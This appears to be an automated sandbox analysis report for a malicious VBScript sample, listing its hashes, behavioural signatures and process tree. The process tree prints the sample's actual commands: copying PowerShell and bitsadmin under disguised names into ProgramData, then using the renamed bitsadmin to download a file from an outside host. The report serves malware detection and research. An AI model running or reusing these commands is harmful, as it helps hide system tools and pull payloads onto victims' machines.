Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20240802-en - resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system - submitted
11/08/2024, 23:12
Static task
static1
Behavioral task
behavioral1
Sample
8c5bfc61bb0b20c461496f954bc957fc_JaffaCakes118.vbs
Resource
win7-20240708-en
5 signatures
150 seconds
General
- Target 8c5bfc61bb0b20c461496f954bc957fc_JaffaCakes118.vbs
- Size 7KB
- Sample240811-26tgkstdlk
- SHA256 be2f792c44d9e48f90ccb1ff0fe514e28c33de7151631da8d2da8d77dfdbd7ff
- MD5 8c5bfc61bb0b20c461496f954bc957fc
- SHA1 d6a89fc9aa3e9ba9356d4d943084e51e06e69e96
- SHA512 3c825aee05625202fe166ce2453043731553fe007301e8b716d34c91da5e5f022a21ef1b2de13b71a73ec278e522c27447a7a57b000149d78ec1266a3892d148
- SSDEEP 192:UZjfeoBTV34Oc0dM+OTbFpE66Hzd/LSQM/2F4I:UZjfeor4Oc0C+UbFe66HRDSVI
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation WScript.exe - Executes dropped EXE 1 IoCs
pid Process 4772 YiEIZyJin.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language YiEIZyJin.exe - Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 3616 wrote to memory of 3704 3616 WScript.exe 84 PID 3616 wrote to memory of 3704 3616 WScript.exe 84 PID 3704 wrote to memory of 3312 3704 cmd.exe 86 PID 3704 wrote to memory of 3312 3704 cmd.exe 86 PID 3704 wrote to memory of 2308 3704 cmd.exe 87 PID 3704 wrote to memory of 2308 3704 cmd.exe 87 PID 3616 wrote to memory of 4772 3616 WScript.exe 88 PID 3616 wrote to memory of 4772 3616 WScript.exe 88 PID 3616 wrote to memory of 4772 3616 WScript.exe 88
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8c5bfc61bb0b20c461496f954bc957fc_JaffaCakes118.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3616 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aPHsl.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\YiEIZyJ*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:3704 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aPHsl.exe3⤵PID:3312
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\YiEIZyJ*.exe3⤵PID:2308
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C:\ProgramData\YiEIZyJin.exe"C:\ProgramData\YiEIZyJin.exe" /wrap /transfer AKRkDLfa https://fakedepth.com/real/01162660318/dev.txt C:\ProgramData\dev.txt2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4772
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\ProgramData\YiEIZyJin.exe
- Size 182KB
- SHA256 c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c
- MD5 f57a03fa0e654b393bb078d1c60695f3
- SHA1 1ced6636bd2462c0f1b64775e1981d22ae57af0b
- SHA512 7e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a
- SSDEEP 3072:845J3+Yf8tEONgW6YPdVI3f60nAufMGeCEC1Q0jon3YR:FWzPg3f3nNfiCf9cI
- MD5 SHA1 SHA512 SSDEEP